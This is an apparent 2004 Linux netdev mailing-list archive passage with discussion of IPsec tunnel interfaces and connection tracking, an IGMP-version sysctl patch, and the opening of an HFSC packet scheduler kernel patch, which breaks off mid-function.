(mail@quechua.inka.de [193.197.184.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0T2Tq7J014406 for ; Wed, 28 Jan 2004 18:29:53 -0800 Received: from dungeon.inka.de (uucp@[127.0.0.1]) by mail.inka.de with uucp (rmailwrap 0.5) id 1Almnv-0002Uu-00; Wed, 28 Jan 2004 11:20:15 +0100 Received: from allhosts (unknown [192.168.3.1]) by dungeon.inka.de (Postfix) with ESMTP id BAE0C126705; Wed, 28 Jan 2004 11:19:36 +0100 (CET) Subject: Re: NAT before IPsec with 2.6 From: Andreas Jellinghaus To: Harald Welte Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: <20040128085831.GM11761@sunbeam.de.gnumonks.org> References: <20040124082252.GA19035@alpha.home.local> <20040124092721.GA19140@alpha.home.local> <20040127103917.GC11761@sunbeam.de.gnumonks.org> <20040127132725.GA14685@openoffice.nl> <20040128085831.GM11761@sunbeam.de.gnumonks.org> Content-Type: text/plain Message-Id: <1075285293.5055.29.camel@simulacron> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 28 Jan 2004 11:21:34 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 2883 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: aj@dungeon.inka.de Precedence: bulk X-list: netdev On Wed, 2004-01-28 at 09:58, Harald Welte wrote: > However, it doesn't reset the skb->nfct pointer, the tunnels do. In summary it looks to me, like you want to have everything that a real tunnel with an interface offers, but for some reason you don't want the tunnel with the interface. right? so, why? > - no working connection tracking in any kind of ipsec scenario that is not true. ipip_rcv: nf_conntrack_put(skb->nfct); skb->nfct = NULL; ipip_xmit: nf_conntrack_put(skb->nfct); skb->nfct = NULL; the only problem is stability and scheduling in atomic with xfrm+ipip (i guess a bug, I hope someone who understands the code could take a look at it). > > use an interface, and you will see the packet twice, plus the interface > > does the route lookup on the encrypted packet. so no ugly hacks in the > > routing table are necessary. > > Did anybody propose ugly hacks in the routing table? if you don't use an interface, you need them in real world setups. with an interface both gw and client put the route to each others static vpn ip on ipsec0 and then configure the tunnel ips, and those ip will be used to lookup the interface where to send the encrypted packet. with the current code without using interfaces, the ip of the vpn tunnel needs to be moved to the interface that will be used to reach the vpn gateway. even worse, you need to play with source address selection to make sure an outgoing packet has your static vpn ip, and not the dynamic ip of whatever net you are currently using. example: up ip addr add 192.168.3.1 dev wlan0 up ip route del default dev wlan0 up ip route add default via 192.168.1.1 src 192.168.3.1 dev wlan0 down ip addr del 192.168.3.1 dev wlan0 and swithcing from wlan0 to eth0 does not only require the tunnel to be reconfigured (local and remote ip), but also changes in the routing table. that is horrible. and yes, of course you want static ip addresses for "road warrior" clients! for example smtp servers need to these to allow relaying or not. > So we absolutely _need_ a symmetric-to-incoming behaviour like: use an tunnel interface and you have that. (adding pre_/post_ routing is very simple, simply cut&paste to the _rcv and _xmit functions. sure, you can archive the same thing without using tunnel interfaces. But i wonder if that creates a simple solution, easy to understand. my basic question is: how will these changes affect setups with tunnel interfaces? [other issue] if we are to look at the calls to xfrm anyway: would it be possible to add a debugging facility for dropped packets? I know, that is not a netfilter issue, but I guess many people will find it problematic, if they cannot see what packets are dropped by the xfrm logic. I'm only rasing the issue, because that code is most likely put to the same places we are discussiong right now (ah, esp, ipip_rcv, ipip_xmit, ...). > I'm not proposing to route before encapsulating. that is currently done. I'm glad if that "feature" is removed. > I just propose of > calling the same netfilter functions that we usually call before/after > routing at different places :) fine. I don't understand what the benefit of doing everything like with an interface, but avoiding the interface. but please keep tunnel with interface and tunnel without interface in sync. Regards, Andreas From dlstevens@us.ibm.com Wed Jan 28 20:53:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 28 Jan 2004 20:53:25 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0T4r57J022966 for ; Wed, 28 Jan 2004 20:53:12 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0T4r0lv208944; Wed, 28 Jan 2004 23:53:00 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0T4qxYd116638; Wed, 28 Jan 2004 21:52:59 -0700 Importance: Normal Sensitivity: Subject: Re: sysctl variable to force IGMP version [PATCH] To: "David S. Miller" Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Wed, 28 Jan 2004 20:51:32 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/28/2004 21:52:59 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4B9DF8A76518f9e8a93df938690918c07BBE4B9DF8A7651" Content-Disposition: inline X-archive-position: 2885 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3408 Lines: 90 --0__=07BBE4B9DF8A76518f9e8a93df938690918c07BBE4B9DF8A7651 Content-type: text/plain; charset=US-ASCII Dave, As it is, it doesn't hurt anything if you set it to "47"-- it'll use IGMPv1 if it's set to "1", IGMPv2 if it's set to "2" and IGMPv3 (default) for all other values. It may look odd in "sysctl -a" output, but it'll behave reasonably. I can add new handler functions used only by this that restrict the values (unless there's an easier way using some existing method I don't know about), if you think it's worth it, but it won't actually cause any problem if it's set to any value out of range. +-DLS "David S. Miller" @oss.sgi.com on 01/28/2004 12:00:03 PM Sent by: netdev-bounce@oss.sgi.com To: David Stevens/Beaverton/IBM@IBMUS cc: netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] On Tue, 27 Jan 2004 14:13:41 -0700 David Stevens wrote: > Below is a patch that allows forcing of the IGMP version. The primary > use would be with an IGMP-snooping switch that doesn't grok IGMPv3 > packet formats and when there are no IGMPv2 or IGMPv1 multicast > routers on the network. By forcing the IGMP reports to version 2 (or > version 1, for really old switches), Linux would send reports that the > switch can understand for multicast forwarding to the port. Perhaps some sanity to prevent values other than 1 or 2 from being set? --0__=07BBE4B9DF8A76518f9e8a93df938690918c07BBE4B9DF8A7651 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,
As it is, it doesn't hurt anything if you set it to "47"-- it'll use IGMPv1 if it's
set to "1", IGMPv2 if it's set to "2" and IGMPv3 (default) for all other values. It may
look odd in "sysctl -a" output, but it'll behave reasonably.
I can add new handler functions used only by this that restrict the values
(unless there's an easier way using some existing method I don't know about),
if you think it's worth it, but it won't actually cause any problem if it's set to any
value out of range.

+-DLS

Sent by: netdev-bounce@oss.sgi.com

To: David Stevens/Beaverton/IBM@IBMUS
cc: netdev@oss.sgi.com
Subject: Re: sysctl variable to force IGMP version [PATCH]



On Tue, 27 Jan 2004 14:13:41 -0700
David Stevens <dlstevens@us.ibm.com> wrote:

> Below is a patch that allows forcing of the IGMP version. The primary
> use would be with an IGMP-snooping switch that doesn't grok IGMPv3
> packet formats and when there are no IGMPv2 or IGMPv1 multicast
> routers on the network. By forcing the IGMP reports to version 2 (or
> version 1, for really old switches), Linux would send reports that the
> switch can understand for multicast forwarding to the port.

Perhaps some sanity to prevent values other than 1 or 2 from being
set?


--0__=07BBE4B9DF8A76518f9e8a93df938690918c07BBE4B9DF8A7651-- From kaber@trash.net Thu Jan 29 07:15:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 07:16:03 -0800 (PST) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TFFu7J020502 for ; Thu, 29 Jan 2004 07:15:57 -0800 Received: from port-212-202-53-237.reverse.qsc.de ([212.202.53.237] helo=gw.localnet) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1AmDtO-00083w-00; Thu, 29 Jan 2004 16:15:42 +0100 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AmDtg-0002oA-00; Thu, 29 Jan 2004 16:16:00 +0100 Message-ID: <401923B8.7030909@trash.net> Date: Thu, 29 Jan 2004 16:16:08 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH 2.6]: HFSC packet scheduler Content-Type: multipart/mixed; boundary="------------080403030208070606020806" X-archive-position: 2887 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 50351 Lines: 1987 This is a multi-part message in MIME format. --------------080403030208070606020806 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This is the 2.6 version of HFSC. Changes to last patch: - don't crash on user error (non-work-conserving inner qdisc) - trailing whitespace cleanup Best regards, Patrick --------------080403030208070606020806 Content-Type: text/plain; name="2.6-hfsc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="2.6-hfsc.diff" diff -urN linux-2.5/include/linux/pkt_sched.h linux-2.5-hfsc/include/linux/pkt_sched.h --- linux-2.5/include/linux/pkt_sched.h 2004-01-29 15:13:26.000000000 +0100 +++ linux-2.5-hfsc/include/linux/pkt_sched.h 2004-01-29 15:18:47.000000000 +0100 @@ -290,6 +290,37 @@ __u32 ctokens; }; +/* HFSC section */ + +struct tc_hfsc_qopt +{ + __u16 defcls; /* default class */ +}; + +struct tc_service_curve +{ + __u32 m1; /* slope of the first segment in bps */ + __u32 d; /* x-projection of the first segment in us */ + __u32 m2; /* slope of the second segment in bps */ +}; + +struct tc_hfsc_stats +{ + __u64 work; /* total work done */ + __u64 rtwork; /* work done by real-time criteria */ + __u32 period; /* current period */ + __u32 level; /* class level in hierarchy */ +}; + +enum +{ + TCA_HFSC_UNSPEC, + TCA_HFSC_RSC, + TCA_HFSC_FSC, + TCA_HFSC_USC, + TCA_HFSC_MAX = TCA_HFSC_USC +}; + /* CBQ section */ #define TC_CBQ_MAXPRIO 8 diff -urN linux-2.5/include/net/pkt_sched.h linux-2.5-hfsc/include/net/pkt_sched.h --- linux-2.5/include/net/pkt_sched.h 2004-01-29 15:12:08.000000000 +0100 +++ linux-2.5-hfsc/include/net/pkt_sched.h 2004-01-29 15:17:26.000000000 +0100 @@ -203,6 +203,7 @@ #define PSCHED_GET_TIME(stamp) do_gettimeofday(&(stamp)) #define PSCHED_US2JIFFIE(usecs) (((usecs)+(1000000/HZ-1))/(1000000/HZ)) +#define PSCHED_JIFFIE2US(delay) ((delay)*(1000000/HZ)) #define PSCHED_EXPORTLIST EXPORT_SYMBOL(psched_tod_diff); @@ -251,6 +252,7 @@ #endif #define PSCHED_US2JIFFIE(delay) (((delay)+(1<>PSCHED_JSCALE) +#define PSCHED_JIFFIE2US(delay) ((delay)< + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * 2003-10-17 - Ported from altq + */ +/* + * Copyright (c) 1997-1999 Carnegie Mellon University. All Rights Reserved. + * + * Permission to use, copy, modify, and distribute this software and + * its documentation is hereby granted (including for commercial or + * for-profit use), provided that both the copyright notice and this + * permission notice appear in all copies of the software, derivative + * works, or modified versions, and any portions thereof. + * + * THIS SOFTWARE IS EXPERIMENTAL AND IS KNOWN TO HAVE BUGS, SOME OF + * WHICH MAY HAVE SERIOUS CONSEQUENCES. CARNEGIE MELLON PROVIDES THIS + * SOFTWARE IN ITS ``AS IS'' CONDITION, AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT + * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + * + * Carnegie Mellon encourages (but does not require) users of this + * software to return any improvements or extensions that they make, + * and to grant Carnegie Mellon the rights to redistribute these + * changes without encumbrance. + */ +/* + * H-FSC is described in Proceedings of SIGCOMM'97, + * "A Hierarchical Fair Service Curve Algorithm for Link-Sharing, + * Real-Time and Priority Service" + * by Ion Stoica, Hui Zhang, and T. S. Eugene Ng. + * + * Oleg Cherevko added the upperlimit for link-sharing. + * when a class has an upperlimit, the fit-time is computed from the + * upperlimit service curve. the link-sharing scheduler does not schedule + * a class whose fit-time exceeds the current time. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define HFSC_DEBUG 1 + +/* + * kernel internal service curve representation: + * coordinates are given by 64 bit unsigned integers. + * x-axis: unit is clock count. + * y-axis: unit is byte. + * + * The service curve parameters are converted to the internal + * representation. The slope values are scaled to avoid overflow. + * the inverse slope values as well as the y-projection of the 1st + * segment are kept in order to to avoid 64-bit divide operations + * that are expensive on 32-bit architectures. + */ + +struct internal_sc +{ + u_int64_t sm1; /* scaled slope of the 1st segment */ + u_int64_t ism1; /* scaled inverse-slope of the 1st segment */ + u_int64_t dx; /* the x-projection of the 1st segment */ + u_int64_t dy; /* the y-projection of the 1st segment */ + u_int64_t sm2; /* scaled slope of the 2nd segment */ + u_int64_t ism2; /* scaled inverse-slope of the 2nd segment */ +}; + +/* runtime service curve */ +struct runtime_sc +{ + u_int64_t x; /* current starting position on x-axis */ + u_int64_t y; /* current starting position on y-axis */ + u_int64_t sm1; /* scaled slope of the 1st segment */ + u_int64_t ism1; /* scaled inverse-slope of the 1st segment */ + u_int64_t dx; /* the x-projection of the 1st segment */ + u_int64_t dy; /* the y-projection of the 1st segment */ + u_int64_t sm2; /* scaled slope of the 2nd segment */ + u_int64_t ism2; /* scaled inverse-slope of the 2nd segment */ +}; + +enum hfsc_class_flags +{ + HFSC_RSC = 0x1, + HFSC_FSC = 0x2, + HFSC_USC = 0x4 +}; + +struct hfsc_class +{ + u_int32_t classid; /* class id */ + unsigned int refcnt; /* usage count */ + + struct tc_stats stats; /* generic statistics */ + unsigned int level; /* class level in hierarchy */ + struct tcf_proto *filter_list; /* filter list */ + unsigned int filter_cnt; /* filter count */ + + struct hfsc_sched *sched; /* scheduler data */ + struct hfsc_class *cl_parent; /* parent class */ + struct list_head siblings; /* sibling classes */ + struct list_head children; /* child classes */ + struct Qdisc *qdisc; /* leaf qdisc */ + + struct list_head actlist; /* active children list */ + struct list_head alist; /* active children list member */ + struct list_head ellist; /* eligible list member */ + struct list_head hlist; /* hash list member */ + struct list_head dlist; /* drop list member */ + + u_int64_t cl_total; /* total work in bytes */ + u_int64_t cl_cumul; /* cumulative work in bytes done by + real-time criteria */ + + u_int64_t cl_d; /* deadline*/ + u_int64_t cl_e; /* eligible time */ + u_int64_t cl_vt; /* virtual time */ + u_int64_t cl_f; /* time when this class will fit for + link-sharing, max(myf, cfmin) */ + u_int64_t cl_myf; /* my fit-time (calculated from this + class's own upperlimit curve) */ + u_int64_t cl_myfadj; /* my fit-time adjustment (to cancel + history dependence) */ + u_int64_t cl_cfmin; /* earliest children's fit-time (used + with cl_myf to obtain cl_f) */ + u_int64_t cl_cvtmin; /* minimal virtual time among the + children fit for link-sharing + (monotonic within a period) */ + u_int64_t cl_vtadj; /* intra-period cumulative vt + adjustment */ + u_int64_t cl_vtoff; /* inter-period cumulative vt offset */ + u_int64_t cl_cvtmax; /* max child's vt in the last period */ + + struct internal_sc cl_rsc; /* internal real-time service curve */ + struct internal_sc cl_fsc; /* internal fair service curve */ + struct internal_sc cl_usc; /* internal upperlimit service curve */ + struct runtime_sc cl_deadline; /* deadline curve */ + struct runtime_sc cl_eligible; /* eligible curve */ + struct runtime_sc cl_virtual; /* virtual curve */ + struct runtime_sc cl_ulimit; /* upperlimit curve */ + + unsigned long cl_flags; /* which curves are valid */ + unsigned long cl_vtperiod; /* vt period sequence number */ + unsigned long cl_parentperiod;/* parent's vt period sequence number*/ + unsigned long cl_nactive; /* number of active children */ +}; + +#define HFSC_HSIZE 16 + +struct hfsc_sched +{ + u_int16_t defcls; /* default class id */ + + struct hfsc_class root; /* root class */ + struct hfsc_class *last_xmit; /* class that transmitted last + packet (for requeueing) */ + struct list_head clhash[HFSC_HSIZE]; /* class hash */ + struct list_head eligible; /* eligible list */ + struct list_head droplist; /* active leaf class list (for + dropping) */ + struct timer_list wd_timer; /* watchdog timer */ +}; + +/* + * macros + */ +#if PSCHED_CLOCK_SOURCE == PSCHED_GETTIMEOFDAY +#include +#undef PSCHED_GET_TIME +#define PSCHED_GET_TIME(stamp) \ +do { \ + struct timeval tv; \ + do_gettimeofday(&tv); \ + (stamp) = 1000000ULL * tv.tv_sec + tv.tv_usec; \ +} while (0) +#endif + +#if HFSC_DEBUG +#define ASSERT(cond) \ +do { \ + if (unlikely(!(cond))) \ + printk("assertion %s failed at %s:%i (%s)\n", \ + #cond, __FILE__, __LINE__, __FUNCTION__); \ +} while (0) +#else +#define ASSERT(cond) +#endif /* HFSC_DEBUG */ + +#define HT_INFINITY 0xffffffffffffffffULL /* infinite time value */ + + +/* + * eligible list holds backlogged classes being sorted by their eligible times. + * there is one eligible list per hfsc instance. + */ + +static void +ellist_insert(struct hfsc_class *cl) +{ + struct list_head *head = &cl->sched->eligible; + struct hfsc_class *p; + + /* check the last entry first */ + if (list_empty(head) || + ((p = list_entry(head->prev, struct hfsc_class, ellist)) && + p->cl_e <= cl->cl_e)) { + list_add_tail(&cl->ellist, head); + return; + } + + list_for_each_entry(p, head, ellist) { + if (cl->cl_e < p->cl_e) { + /* insert cl before p */ + list_add_tail(&cl->ellist, &p->ellist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline void +ellist_remove(struct hfsc_class *cl) +{ + list_del(&cl->ellist); +} + +static void +ellist_update(struct hfsc_class *cl) +{ + struct list_head *head = &cl->sched->eligible; + struct hfsc_class *p, *last; + + /* + * the eligible time of a class increases monotonically. + * if the next entry has a larger eligible time, nothing to do. + */ + if (cl->ellist.next == head || + ((p = list_entry(cl->ellist.next, struct hfsc_class, ellist)) && + cl->cl_e <= p->cl_e)) + return; + + /* check the last entry */ + last = list_entry(head->prev, struct hfsc_class, ellist); + if (last->cl_e <= cl->cl_e) { + list_move_tail(&cl->ellist, head); + return; + } + + /* + * the new position must be between the next entry + * and the last entry + */ + list_for_each_entry_continue(p, head, ellist) { + if (cl->cl_e < p->cl_e) { + list_move_tail(&cl->ellist, &p->ellist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +/* find the class with the minimum deadline among the eligible classes */ +static inline struct hfsc_class * +ellist_get_mindl(struct list_head *head, u_int64_t cur_time) +{ + struct hfsc_class *p, *cl = NULL; + + list_for_each_entry(p, head, ellist) { + if (p->cl_e > cur_time) + break; + if (cl == NULL || p->cl_d < cl->cl_d) + cl = p; + } + return cl; +} + +/* find the class with minimum eligible time among the eligible classes */ +static inline struct hfsc_class * +ellist_get_minel(struct list_head *head) +{ + if (list_empty(head)) + return NULL; + return list_entry(head->next, struct hfsc_class, ellist); +} + +/* + * active children list holds backlogged child classes being sorted + * by their virtual time. each intermediate class has one active + * children list. + */ +static void +actlist_insert(struct hfsc_class *cl) +{ + struct list_head *head = &cl->cl_parent->actlist; + struct hfsc_class *p; + + /* check the last entry first */ + if (list_empty(head) || + ((p = list_entry(head->prev, struct hfsc_class, alist)) && + p->cl_vt <= cl->cl_vt)) { + list_add_tail(&cl->alist, head); + return; + } + + list_for_each_entry(p, head, alist) { + if (cl->cl_vt < p->cl_vt) { + /* insert cl before p */ + list_add_tail(&cl->alist, &p->alist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline void +actlist_remove(struct hfsc_class *cl) +{ + list_del(&cl->alist); +} + +static void +actlist_update(struct hfsc_class *cl) +{ + struct list_head *head = &cl->cl_parent->actlist; + struct hfsc_class *p, *last; + + /* + * the virtual time of a class increases monotonically. + * if the next entry has a larger virtual time, nothing to do. + */ + if (cl->alist.next == head || + ((p = list_entry(cl->alist.next, struct hfsc_class, alist)) && + cl->cl_vt <= p->cl_vt)) + return; + + /* check the last entry */ + last = list_entry(head->prev, struct hfsc_class, alist); + if (last->cl_vt <= cl->cl_vt) { + list_move_tail(&cl->alist, head); + return; + } + + /* + * the new position must be between the next entry + * and the last entry + */ + list_for_each_entry_continue(p, head, alist) { + if (cl->cl_vt < p->cl_vt) { + list_move_tail(&cl->alist, &p->alist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline struct hfsc_class * +actlist_firstfit(struct hfsc_class *cl, u_int64_t cur_time) +{ + struct hfsc_class *p; + + list_for_each_entry(p, &cl->actlist, alist) { + if (p->cl_f <= cur_time) { + return p; + } + } + return NULL; +} + +/* + * get the leaf class with the minimum vt in the hierarchy + */ +static struct hfsc_class * +actlist_get_minvt(struct hfsc_class *cl, u_int64_t cur_time) +{ + /* if root-class's cfmin is bigger than cur_time nothing to do */ + if (cl->cl_cfmin > cur_time) + return NULL; + + while (cl->level > 0) { + cl = actlist_firstfit(cl, cur_time); + if (cl == NULL) + return NULL; + /* + * update parent's cl_cvtmin. + */ + if (cl->cl_parent->cl_cvtmin < cl->cl_vt) + cl->cl_parent->cl_cvtmin = cl->cl_vt; + } + return cl; +} + +/* + * service curve support functions + * + * external service curve parameters + * m: bps + * d: us + * internal service curve parameters + * sm: (bytes/psched_us) << SM_SHIFT + * ism: (psched_us/byte) << ISM_SHIFT + * dx: psched_us + * + * Time source resolution + * PSCHED_JIFFIES: for 48<=HZ<=1534 resolution is between 0.63us and 1.27us. + * PSCHED_CPU: resolution is between 0.5us and 1us. + * PSCHED_GETTIMEOFDAY: resolution is exactly 1us. + * + * sm and ism are scaled in order to keep effective digits. + * SM_SHIFT and ISM_SHIFT are selected to keep at least 4 effective + * digits in decimal using the following table. + * + * Note: We can afford the additional accuracy (altq hfsc keeps at most + * 3 effective digits) thanks to the fact that linux clock is bounded + * much more tightly. + * + * bits/sec 100Kbps 1Mbps 10Mbps 100Mbps 1Gbps + * ------------+------------------------------------------------------- + * bytes/0.5us 6.25e-3 62.5e-3 625e-3 6250e-e 62500e-3 + * bytes/us 12.5e-3 125e-3 1250e-3 12500e-3 125000e-3 + * bytes/1.27us 15.875e-3 158.75e-3 1587.5e-3 15875e-3 158750e-3 + * + * 0.5us/byte 160 16 1.6 0.16 0.016 + * us/byte 80 8 0.8 0.08 0.008 + * 1.27us/byte 63 6.3 0.63 0.063 0.0063 + */ +#define SM_SHIFT 20 +#define ISM_SHIFT 18 + +#define SM_MASK ((1ULL << SM_SHIFT) - 1) +#define ISM_MASK ((1ULL << ISM_SHIFT) - 1) + +static inline u_int64_t +seg_x2y(u_int64_t x, u_int64_t sm) +{ + u_int64_t y; + + /* + * compute + * y = x * sm >> SM_SHIFT + * but divide it for the upper and lower bits to avoid overflow + */ + y = (x >> SM_SHIFT) * sm + (((x & SM_MASK) * sm) >> SM_SHIFT); + return y; +} + +static inline u_int64_t +seg_y2x(u_int64_t y, u_int64_t ism) +{ + u_int64_t x; + + if (y == 0) + x = 0; + else if (ism == HT_INFINITY) + x = HT_INFINITY; + else { + x = (y >> ISM_SHIFT) * ism + + (((y & ISM_MASK) * ism) >> ISM_SHIFT); + } + return x; +} + +/* Convert m (bps) into sm (bytes/psched us) */ +static u_int64_t +m2sm(u_int32_t m) +{ + u_int64_t sm; + + sm = ((u_int64_t)m << SM_SHIFT); + sm += PSCHED_JIFFIE2US(HZ) - 1; + do_div(sm, PSCHED_JIFFIE2US(HZ)); + return sm; +} + +/* convert m (bps) into ism (psched us/byte) */ +static u_int64_t +m2ism(u_int32_t m) +{ + u_int64_t ism; + + if (m == 0) + ism = HT_INFINITY; + else { + ism = ((u_int64_t)PSCHED_JIFFIE2US(HZ) << ISM_SHIFT); + ism += m - 1; + do_div(ism, m); + } + return ism; +} + +/* convert d (us) into dx (psched us) */ +static u_int64_t +d2dx(u_int32_t d) +{ + u_int64_t dx; + + dx = ((u_int64_t)d * PSCHED_JIFFIE2US(HZ)); + dx += 1000000 - 1; + do_div(dx, 1000000); + return dx; +} + +/* convert sm (bytes/psched us) into m (bps) */ +static u_int32_t +sm2m(u_int64_t sm) +{ + u_int64_t m; + + m = (sm * PSCHED_JIFFIE2US(HZ)) >> SM_SHIFT; + return (u_int32_t)m; +} + +/* convert dx (psched us) into d (us) */ +static u_int32_t +dx2d(u_int64_t dx) +{ + u_int64_t d; + + d = dx * 1000000; + do_div(d, PSCHED_JIFFIE2US(HZ)); + return (u_int32_t)d; +} + +static void +sc2isc(struct tc_service_curve *sc, struct internal_sc *isc) +{ + isc->sm1 = m2sm(sc->m1); + isc->ism1 = m2ism(sc->m1); + isc->dx = d2dx(sc->d); + isc->dy = seg_x2y(isc->dx, isc->sm1); + isc->sm2 = m2sm(sc->m2); + isc->ism2 = m2ism(sc->m2); +} + +/* + * initialize the runtime service curve with the given internal + * service curve starting at (x, y). + */ +static void +rtsc_init(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x, + u_int64_t y) +{ + rtsc->x = x; + rtsc->y = y; + rtsc->sm1 = isc->sm1; + rtsc->ism1 = isc->ism1; + rtsc->dx = isc->dx; + rtsc->dy = isc->dy; + rtsc->sm2 = isc->sm2; + rtsc->ism2 = isc->ism2; +} + +/* + * calculate the y-projection of the runtime service curve by the + * given x-projection value + */ +static u_int64_t +rtsc_y2x(struct runtime_sc *rtsc, u_int64_t y) +{ + u_int64_t x; + + if (y < rtsc->y) + x = rtsc->x; + else if (y <= rtsc->y + rtsc->dy) { + /* x belongs to the 1st segment */ + if (rtsc->dy == 0) + x = rtsc->x + rtsc->dx; + else + x = rtsc->x + seg_y2x(y - rtsc->y, rtsc->ism1); + } else { + /* x belongs to the 2nd segment */ + x = rtsc->x + rtsc->dx + + seg_y2x(y - rtsc->y - rtsc->dy, rtsc->ism2); + } + return x; +} + +static u_int64_t +rtsc_x2y(struct runtime_sc *rtsc, u_int64_t x) +{ + u_int64_t y; + + if (x <= rtsc->x) + y = rtsc->y; + else if (x <= rtsc->x + rtsc->dx) + /* y belongs to the 1st segment */ + y = rtsc->y + seg_x2y(x - rtsc->x, rtsc->sm1); + else + /* y belongs to the 2nd segment */ + y = rtsc->y + rtsc->dy + + seg_x2y(x - rtsc->x - rtsc->dx, rtsc->sm2); + return y; +} + +/* + * update the runtime service curve by taking the minimum of the current + * runtime service curve and the service curve starting at (x, y). + */ +static void +rtsc_min(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x, + u_int64_t y) +{ + u_int64_t y1, y2, dx, dy; + u_int32_t dsm; + + if (isc->sm1 <= isc->sm2) { + /* service curve is convex */ + y1 = rtsc_x2y(rtsc, x); + if (y1 < y) + /* the current rtsc is smaller */ + return; + rtsc->x = x; + rtsc->y = y; + return; + } + + /* + * service curve is concave + * compute the two y values of the current rtsc + * y1: at x + * y2: at (x + dx) + */ + y1 = rtsc_x2y(rtsc, x); + if (y1 <= y) { + /* rtsc is below isc, no change to rtsc */ + return; + } + + y2 = rtsc_x2y(rtsc, x + isc->dx); + if (y2 >= y + isc->dy) { + /* rtsc is above isc, replace rtsc by isc */ + rtsc->x = x; + rtsc->y = y; + rtsc->dx = isc->dx; + rtsc->dy = isc->dy; + return; + } + + /* + * the two curves intersect + * compute the offsets (dx, dy) using the reverse + * function of seg_x2y() + * seg_x2y(dx, sm1) == seg_x2y(dx, sm2) + (y1 - y) + */ + dx = (y1 - y) << SM_SHIFT; + dsm = isc->sm1 - isc->sm2; + do_div(dx, dsm); + /* + * check if (x, y1) belongs to the 1st segment of rtsc. + * if so, add the offset. + */ + if (rtsc->x + rtsc->dx > x) + dx += rtsc->x + rtsc->dx - x; + dy = seg_x2y(dx, isc->sm1); + + rtsc->x = x; + rtsc->y = y; + rtsc->dx = dx; + rtsc->dy = dy; + return; +} + +static void +init_ed(struct hfsc_class *cl, unsigned int next_len) +{ + u_int64_t cur_time; + + PSCHED_GET_TIME(cur_time); + + /* update the deadline curve */ + rtsc_min(&cl->cl_deadline, &cl->cl_rsc, cur_time, cl->cl_cumul); + + /* + * update the eligible curve. + * for concave, it is equal to the deadline curve. + * for convex, it is a linear curve with slope m2. + */ + cl->cl_eligible = cl->cl_deadline; + if (cl->cl_rsc.sm1 <= cl->cl_rsc.sm2) { + cl->cl_eligible.dx = 0; + cl->cl_eligible.dy = 0; + } + + /* compute e and d */ + cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul); + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); + + 